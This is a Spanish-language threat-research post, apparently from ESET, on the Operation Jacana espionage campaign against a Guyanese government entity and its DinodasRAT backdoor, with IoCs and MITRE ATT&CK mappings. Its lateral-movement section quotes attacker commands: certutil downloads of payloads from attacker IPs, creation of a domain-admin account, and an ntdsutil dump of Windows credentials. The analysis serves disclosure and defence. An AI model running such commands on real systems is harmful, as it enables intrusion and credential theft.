En febrero de 2023, los investigadores de ESET detectaron una campaña de spearphishing dirigida a una entidad gubernamental en Guyana. Si bien no hemos podido vincular la campaña, que llamamos Operación Jacana, con ningún grupo APT específico, creemos con confianza media que un grupo de amenazas alineado con China está detrás de este incidente.
En el ataque, los operadores utilizaron un backdoor en C++ no documentado previamente que puede exfiltrar archivos, manipular claves del registro de Windows, ejecutar comandos CMD y mucho más. Bautizamos este backdoor como DinodasRAT por el identificador de víctima que envía a su C&C: la cadena siempre empieza por Din, lo que nos recuerda al hobbit Dinodas de El Señor de los Anillos.
Puntos clave de este blogpost:
- La Operación Jacana es una campaña de ciberespionaje dirigida contra una entidad gubernamental de Guyana.
- Tras el compromiso inicial a través de correos electrónicos de spearphishing, los atacantes procedieron a moverse lateralmente a través de la red interna de la víctima.
- Para extraer datos confidenciales, los operadores utilizaron un backdoor no documentado previamente al que denominamos DinodasRAT.
- DinodasRAT cifra la información que envía al C&C utilizando el algoritmo Tiny Encryption Algorithm (TEA).
- Además de DinodasRAT, los atacantes también desplegaron Korplug, lo que nos hace sospechar de operadores alineados con China.
Esta campaña estaba dirigida, ya que los actores de la amenaza redactaron sus correos electrónicos específicamente para atraer a la organización víctima elegida. Después de comprometer con éxito el primer par de máquinas con DinodasRAT, los operadores procedieron a moverse lateralmente y violar la red interna donde desplegaron de nuevo el backdoor DinodasRAT, junto con herramientas maliciosas adicionales, entre ellas una variante de Korplug (también conocido como PlugX). En la Figura 1 se muestra el flujo de compromiso de la Operación Jacana.
Atribución
Hasta el momento de esta publicación, no pudimos atribuir la Operación Jacana a ningún grupo conocido. Sin embargo, gracias a una pista que hemos encontrado, creemos que no estamos completamente a oscuras con respecto a los autores. Durante el ataque, los actores de la amenaza desplegaron una variante de Korplug (también conocido como PlugX), que es común a los grupos alineados con China - por ejemplo, Mustang Panda's Hodur: Viejos trucos, nueva variante de Korplug.
Aunque nuestra atribución a un actor de la amenaza alineado con China sólo se hace con un nivel de confianza medio, la hipótesis se ve respaldada por la reciente evolución de las relaciones diplomáticas entre Guyana y China. En febrero de 2023, el mismo mes en que tuvo lugar la Operación Jacana, la Unidad Especial contra el Crimen Organizado (SOCU) de Guyana detuvo a tres personas en el marco de una investigación sobre blanqueo de dinero en la que estaban implicadas empresas chinas, un hecho cuestionado por la embajada china local. Además, como parte de la Iniciativa Belt and Road, China tiene intereses económicos en Guyana.
Acceso inicial
Como primer paso para acceder a la red de su víctima, los responsables de la Operación Jacana enviaron a la organización objetivo correos electrónicos de spearphishing que hacían referencia a asuntos públicos de Guyana. Observamos las siguientes líneas de asunto:
- Visita oficial del Presidente Mohamed Irfaan Ali a Nassau, Bahamas
- Prófugo guyanés en Vietnam
Basándonos en los asuntos de los correos electrónicos, los operadores debían de estar siguiendo la actualidad política de Guyana: el momento en que registramos nuevas detecciones en la entidad gubernamental objetivo coincidió con la asistencia del presidente guyanés a la conferencia del CARICOM en Nassau.
Los correos electrónicos de spearphishing contenían un enlace que, al hacer clic, descargaba un archivo ZIP de https://fta.moit.gov[.]vn/file/people.zip. Dado que un dominio que termina con gov.vn refiere a un sitio web gubernamental vietnamita, creemos que los operadores pudieron comprometer otra entidad gubernamental y utilizarla para alojar sus muestras de malware. Hemos notificado al VNCERT la infraestructura comprometida.
Una vez que la víctima extraía y ejecutaba el archivo ZIP, que no estaba protegido por contraseña, quedaba comprometida con el malware DinodasRAT. Los nombres de los archivos extraídos están relacionados con las líneas de asunto de los correos electrónicos de phishing:
- Guyanese fugitive in Vietnam20220101to20230214Guyanese fugitive in Vietnam.docx.exe
- The Bahamas/President Mohamed Irfaan Ali's Official Visit to Nassau, The Bahamas.doc.exe
Movimiento lateral
Tras penetrar en su objetivo, los atacantes se desplazaron por la red interna de la víctima. Según nuestra telemetría, BAT/Impacket.M y otras detecciones relacionadas se activaron en la red, lo que apunta al uso de Impacket, o una herramienta similar de movimiento lateral basada en WMI.
Algunos de los comandos que los atacantes ejecutaron en la red incluyen:
- certutil -urlcache -split http://23.106.123[.]166/vmtools.rar
- net usuario test8 Test123.. /add /do
- net group "domain admins" test8 /add /do
- certutil -urlcache -split -f http://23.106.122[.]5/windowsupdate.txt c:\programdata\windowsupdate.txt
- cd c:\programdata\
- c:\programdata\windowsupdate.exe
- powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
El último comando vuelca ntds.dit utilizando el LOLBin ntdsutil.exe. Esto permite volcar las contraseñas almacenadas en un servidor Windows.
Caja de Herramientas
DinodasRAT
DinodasRAT es un troyano de acceso remoto no documentado desarrollado en C++ con varias capacidades que permiten espiar y recopilar información sensible del terminal de la víctima.
Cuando se ejecuta, el malware comprueba primero si se han pasado tres argumentos. Si están presentes, estos argumentos deben contener la siguiente información en el siguiente orden:
- la letra d,
- un número, que es un ID de proceso, y
- una ruta de archivo completa.
Si se pasan los tres argumentos, DinodasRAT termina el proceso representado por el ID del proceso utilizando la API de Windows TerminateProcess y luego utiliza la API de Windows DeleteFileW para borrar el archivo pasado en el tercer argumento. Tras esto, el proceso detiene su ejecución utilizando la función exit de la biblioteca estándar de C++. Lo más probable es que se trate de una función de desinstalación.
Si no se pasan argumentos, DinodasRAT continúa su ejecución creando un Mutex llamado client y comprueba la existencia del directorio convencional de Windows C:\ProgramData. Si existe, el malware crea un subdirectorio llamado Application Doc, que se utiliza para asignar un archivo de configuración y otros archivos relacionados con el backdoor. En caso de que el directorio de Windows no exista, DinodasRAT crea una ruta en el directorio raíz llamada Program.Files\Application.Doc. Las cadenas Application Doc, ProgramData y Program.Files\Application.doc se cifran utilizando el algoritmo Tiny Encryption Algorithm (TEA).
El directorio Application Doc se crea con los atributos Read-only y Hidden. Dentro de Application Doc, DinodasRAT crea dos subdirectorios, denominados 0 y 1. Una vez creado el directorio, el malware genera tres hilos utilizados para la recopilación y extracción de datos. En la Tabla 1 se ofrece una descripción detallada de su comportamiento.
Tabla 1. Descripción de los hilos Descripción de los hilos
Thread | Description |
1 |
Take a screenshot of the display of the victim’s machine every five minutes using Windows API functions like CreateDCW, BitBlt, DeleteDC, or ReleaseDC. The screenshot is compressed and saved in the subdirectory Application Doc\0. In order to compress the screenshot, the attackers use the zlib library, version 1.2.11. The format of the filename used for the saved screenshots is the following: <YYYYMMDDHHMMSS>_<five random digits>_<one random digit>.jpg |
2 |
Get the content of the clipboard every five minutes using the Windows API function GetClipboardData and save it in the subdirectory Application Doc\1. The format of the filename used for the clipboard data file is the following: DateTimeStamp_<five random digits>_<one random digit>.txt |
3 | Loops through the subdirectories 0 and 1 and sends the filenames, encrypted with TEA and base64 encoded, to the C&C server. If the C&C server replies, it creates another packet in order to send the filename with its data. Finally, it deletes the file from the victim’s machine. |
Una vez creados los hilos, DinodasRAT crea un archivo llamado conf.ini en el directorio principal. Este archivo contiene un ID utilizado para identificar a la víctima ante el servidor de C&C.
La Figura 2 muestra un ejemplo del ID guardado en el archivo conf.ini.
Figura 2. Ejemplo de un ID guardado en el archivo conf.ini Ejemplo de un ID guardado en el archivo conf. ini
El formato del ID es Din_<AAAAMMDD>_<MD5-HASH>_<VALOR ALEATORIO>_V1, donde:
- <AAAAMMDD> es la fecha de instalación,
- <MD5-HASH> se calcula utilizando la dirección IP de la víctima y la fecha de instalación en milisegundos,
- <RANDOM-VALUE> es un valor aleatorio, y
- V1 es probablemente la versión del malware.
TEA: Tiny Encryption Algorithm
DinodasRAT utiliza TEA para descifrar algunas de sus cadenas, así como para cifrar/descifrar los datos enviados a, o recibidos de, su servidor de C&C. TEA, o Tiny Encryption Algorithm, es un sencillo cifrado por bloques, que destaca por su facilidad de implementación en software y hardware. Por ejemplo, la implementación original de referencia de su función de codificación consta de unas pocas líneas de código C, con un tiempo de configuración muy corto y sin tablas de valores preestablecidos. DinodasRAT emplea el algoritmo en el modo de encadenamiento de bloques cifrados (CBC). En algunos casos, los datos cifrados se codifican además con base64 antes de ser enviados al servidor de C&C.
Descubrimos que el malware contiene tres claves diferentes utilizadas para distintos escenarios de cifrado/descifrado, como se describe en la Tabla 2.
Tabla 2. Descifrado de claves TEA
Key N | Value | Description |
1 | A1 A1 18 AA 10 F0 FA 16 06 71 B3 08 AA AF 31 A1 | Used mainly to encrypt/decrypt communications with the C&C server. |
2 | A0 21 A1 FA 18 E0 C1 30 1F 9F C0 A1 A0 A6 6F B1 | Used to encrypt the name of the files created in the screenshot functionality, before they are sent to the C&C server. |
3 | 11 0A A8 E1 C0 F0 FB 10 06 71 F3 18 AC A0 6A AF | Used to decrypt the installation paths. |
Es posible que los atacantes eligieran utilizar TEA para facilitarse el trabajo; tenemos motivos para creer que la implementación del algoritmo por parte del malware no se creó desde cero, sino que podría adaptarse del blogpost Tea Algorithm - C++ de BlackFeather.
Comunicación con el C&C y actividad maliciosa
Para comunicarse con el servidor de C&C, DinodasRAT utiliza la librería Winsock para crear un socket utilizando el protocolo TCP. Aunque TCP es el protocolo por defecto utilizado para enviar y recibir información del servidor C&C, hemos visto que DinodasRAT es capaz de cambiar al protocolo UDP.
El backdoor también crea varios hilos con diferentes propósitos, como manipular un comando recibido para ejecutarlo en la máquina de la víctima. Por lo tanto, con el fin de mantener la comunicación sincronizada, DinodasRAT hace uso de objetos de eventos de Windows mediante el uso de funciones de la API de Windows como CreateEventW, SetEventW, y WaitForSingleObject.
Para iniciar la comunicación principal con el servidor de C&C, DinodasRAT envía un paquete con información básica sobre la máquina de la víctima y su configuración, como:
- Versión de Windows,
- Arquitectura del sistema operativo,
- nombre de usuario,
- ruta de ejecución del malware codificada en base64, y
- un valor utilizado para el protocolo UDP, que por defecto es 800.
La Figura 3 muestra no sólo la información básica recopilada sobre la víctima, sino también el ID generado por el malware, que sirve como identificador de la víctima para el servidor de C&C.
Toda la información que DinodasRAT envía al servidor de C&C a través del protocolo TCP está cifrada mediante TEA. Además, parte de la información también está codificada en base64.
Para enviar la información robada al servidor de C&C, DinodasRAT crea un paquete que contiene lo siguiente:
- Primer byte: un ID que posiblemente indique si los datos están cifrados con TEA(0x30) o codificados con base64 y cifrados con TEA(0x32).
- DWORD siguiente: tamaño de los datos cifrados.
- Bytes restantes: datos encriptados.
La Figura 4 muestra un ejemplo de paquete encriptado para ser enviado al servidor C&C.
Durante nuestro análisis no pudimos obtener una respuesta del servidor C&C, pero pudimos determinar que cualquier paquete recibido del servidor también debería estar cifrado con TEA.
A la hora de manejar los comandos recibidos del servidor C&C, DinodasRAT crea un hilo con un bucle infinito responsable de recibir y determinar si los paquetes contienen comandos cifrados para ejecutarlos.
Un paquete, una vez desencriptado, contiene la siguiente estructura:
- Primer DWORD: ID de la acción a ejecutar, valor hexadecimal (ver Tabla 2).
- Segundo DWORD: otro ID, relacionado para indicar en el lado del cliente que este paquete es un comando a ejecutar en la máquina de la víctima, valor hexadecimal.
- Resto del paquete: datos utilizados por el comando a ejecutar.
DinodasRAT contiene comandos capaces de realizar diversas acciones en la máquina de la víctima o en el propio malware. La Tabla 3 enumera los comandos soportados con una breve descripción de cada uno.
Tabla 3. Comandos de DinodasRAT Comandos de DinodasRAT
Command ID |
Description |
0x02 |
List the contents of a specific directory. |
0x03 |
Delete a file or the content of a directory. |
0x04 |
Change the attribute of a file to hidden or normal. |
0x05 |
Send files to the C&C server. |
0x06 |
Set an event object used for command 0x05. |
0x08 |
Modify a binary file with bytes received from the C&C server or execute a command using CreateProcessW. |
0x09 |
Set an event object used for command 0x08. |
0x0D |
Write a variable called va, with its value, in the conf.ini file. |
0x0E |
Enumerate running processes. |
0x0F |
Terminate a process by its process ID. |
0x10 |
List services on the victim’s machine. |
0x11 |
Start or delete a service. |
0x12 |
Get info from a Windows registry key. |
0x13 |
Delete a Windows registry key. |
0x14 |
Create a Windows registry key. |
0x15 |
Execute a file or a command using the CreateProcessW Windows API. |
0x16 |
Execute a command using the CreateProcessW Windows API. |
0x17 |
Receive a domain and execute nslookup with that domain to create another socket with the IP address. |
0x18 |
Receive and execute a command using Windows APIs CreateProcessW, PeekNamedPipe, and ReadFile. |
0x19 |
Same as command 0x18. |
0x1A |
Set an event object used for commands 0x18, 0x19, and 0x1B. |
0x1B |
Interactive reverse shell. |
0x1D |
File manipulation; rename, copy, move files, etc. |
0x1E |
Set the string ok to a global variable and send that value to the C&C server. |
0x1F |
Write a variable called mode with its value into the conf.ini file. |
0x20 |
Write a variable called ptype with its value into the conf.ini file. |
0x21 |
Get or set a variable called fmode with its value in the conf.ini file. |
0x22 |
Terminate malware execution. |
0x24 |
Write the variables s and sub, with their respective values, into a file named p.ini. Both variables can have a Boolean value of true or false. |
0x25 |
Configurate the event and global variables related with the take screenshot thread. |
0x26 |
Write a variable called c with its value into a file named p.ini. |
0x29 |
Modify the value of a global variable used for the UDP protocol, default value 0x800. |
Durante nuestra investigación sólo hemos visto la creación y uso de la variable ID con su respectivo valor en el archivo conf.ini, que se utiliza para indicar la víctima al servidor C&C.
Además, DinodasRAT hace uso de una variable global multipropósito que, por ejemplo, puede contener la ruta de un nombre de archivo a eliminar o el nombre de una subclave del registro de Windows a crear.
Otras muestras de malware
Los atacantes también utilizaron otras herramientas además de DinodasRAT durante la intrusión:
- Una variante de Korplug (también conocido como PlugX). Un backdoor utilizado habitualmente por grupos de amenazas alineados con China.
- Un cliente VPN SoftEther. Probablemente se utilizó para enviar puertos locales, como RDP, al servidor de C&C.
Conclusión
La Operación Jacana es una campaña de ciberespionaje que afectó a una entidad gubernamental de Guyana. Creemos con confianza media que fue llevada a cabo por un grupo APT alineado con China.
Los atacantes utilizaron una combinación de herramientas desconocidas, como DinodasRAT, y backdoors más tradicionales, como Korplug.
Basándose en los correos electrónicos de spearphishing utilizados para obtener el acceso inicial a la red de la víctima, los operadores están realizando un seguimiento de las actividades geopolíticas de sus víctimas para aumentar las probabilidades de éxito.
IoCs
También puede encontrar una lista de IoCs en nuestro repositorio GitHub.
Archivos
SHA-1 |
Filename |
ESET detection name |
Description |
599EA9B26581EBC7B4BDFC02E6C792B6588B751E |
President Mohamed Irfaan Ali's Official Visit to Nassau, The Bahamas.doc.exe |
Win32/DinodasRAT.A |
DinodasRAT. |
EFD1387BB272FFE75EC9BF5C1DD614356B6D40B5 |
people.zip |
Win32/DinodasRAT.A |
ZIP file containing DinodasRAT. |
9A6E803A28D27462D2DF47B52E34120FB2CF814B |
President Mohamed Irfaan Ali's Official Visit to Nassau, The Bahamas.exe |
Win32/DinodasRAT.B |
DinodasRAT. |
33065850B30A7C797A9F1E5B219388C6991674DB |
114.exe |
Win32/DinodasRAT.B |
DinodasRAT. |
Red
IP |
Domain |
Hosting provider |
First seen |
Details |
23.106.122[.]5 |
N/A |
Leaseweb Asia Pacific pte. ltd. |
2023‑03‑29 |
Hosts other malicious components. |
23.106.122[.]46 |
N/A |
IRT-LSW-SG |
2023‑02‑13 |
Hosts other malicious components. |
23.106.123[.]166 |
N/A |
Leaseweb Asia Pacific pte. ltd. |
2023‑02‑15 |
Hosts other malicious components. |
42.119.111[.]97 |
fta.moit.gov[.]vn |
FPT Telecom Company |
2023‑02‑13 |
Hosts DinodasRAT in a compressed file. |
115.126.98[.]204 |
N/A |
Forewin Telecom Group Limited, ISP at, HK |
2023‑05‑08 |
C&C server for DinodasRAT. |
118.99.6[.]202 |
N/A |
Edward Poon |
2023‑02‑02 |
C&C server for DinodasRAT. |
199.231.211[.]19 |
update.microsoft-setting[.]com |
Dash Networks Inc. |
2022‑11‑07 |
C&C server for DinodasRAT. |
Técnicas MITRE ATT&CK
Tactic |
ID |
Name |
Description |
Resource Development |
Acquire Infrastructure: Virtual Private Server |
Operators have used VPS servers for hosting their payloads. |
|
Develop Capabilities: Malware |
Operators made custom malware for the operation. |
||
Stage Capabilities: Upload Malware |
Operators have used servers to upload malware. |
||
Compromise Infrastructure: Server |
Operators have compromised servers to host their payloads. |
||
Obtain Capabilities: Malware |
Operators have used a variant of the Korplug backdoor in this operation. |
||
Obtain Capabilities: Tool |
|||
Initial Access |
Phishing: Spearphishing Link |
Operators made use of scheduled tasks to persist their malware. |
|
Execution |
Command and Scripting Interpreter: PowerShell |
Operators have used PowerShell to execute commands on the victim’s network. |
|
Command and Scripting Interpreter: Windows Command Shell |
Operators have used Windows command shell to execute commands on the victim’s internal network. |
||
Command and Scripting Interpreter: Visual Basic |
Operators have used VBScripts. |
||
Native API |
DinodasRAT uses APIs, e.g., CreateProcessW, to execute CMD commands on the victim’s machine. |
||
User Execution: Malicious Link |
Operators have relied on their victims to open a link to download their malware. |
||
User Execution: Malicious File |
Operators have relied on their victims to execute their malware. |
||
Defense Evasion |
Deobfuscate/Decode Files or Information |
DinodasRAT compresses files before they are sent to the C&C server. DinodasRAT also uses TEA to decrypt strings. |
|
Masquerading: Double File Extension |
Operators have used “double extensions” to trick victims into executing their malware. |
||
Indicator Removal: File Deletion |
DinodasRAT is capable of self-deletion from the victim’s machine. |
||
Hide Artifacts: Hidden Files and Directories |
To evade detection, DinodasRAT creates hidden folders. |
||
Persistence |
Valid Accounts: Domain Accounts |
Operators have created domain accounts to maintain persistent access to the victim’s internal network. |
|
Scheduled Task/Job |
Operators made use of scheduled tasks to persist their malware. |
||
Credential Access |
OS Credential Dumping: NTDS |
Operators abused ntdsutil.exe to dump credentials. |
|
Discovery |
File and Directory Discovery |
DinodasRAT can list the contents of a directory or a file. |
|
Query Registry |
DinodasRAT can obtain information from Windows registry keys. |
||
Process Discovery |
DinodasRAT can obtain information about the processes running on the victim’s machine. |
||
System Service Discovery |
DinodasRAT can obtain information about the services running on the victim’s machine. |
||
System Information Discovery |
DinodasRAT retrieves information like Windows version from the victim’s machine. |
||
Collection |
Clipboard Data |
DinodasRAT can obtain information located on the clipboard of the victim’s machine. |
|
Screen Capture |
DinodasRAT can take screenshots on the victim’s machine. |
||
Command and Control |
Encrypted Channel: Symmetric Cryptography |
DinodasRAT has used TEA for encrypting C&C server communications. |
|
Non-Application Layer Protocol |
DinodasRAT has used TCP or UDP protocols for its connection to the C&C server. |
||
Data Encoding |
DinodasRAT uses base64 encoding for strings and data sent to its C&C server. |
||
Exfiltration |
Exfiltration Over C2 Channel |
DinodasRAT exfiltrates data over the same channel used for its C&C server. |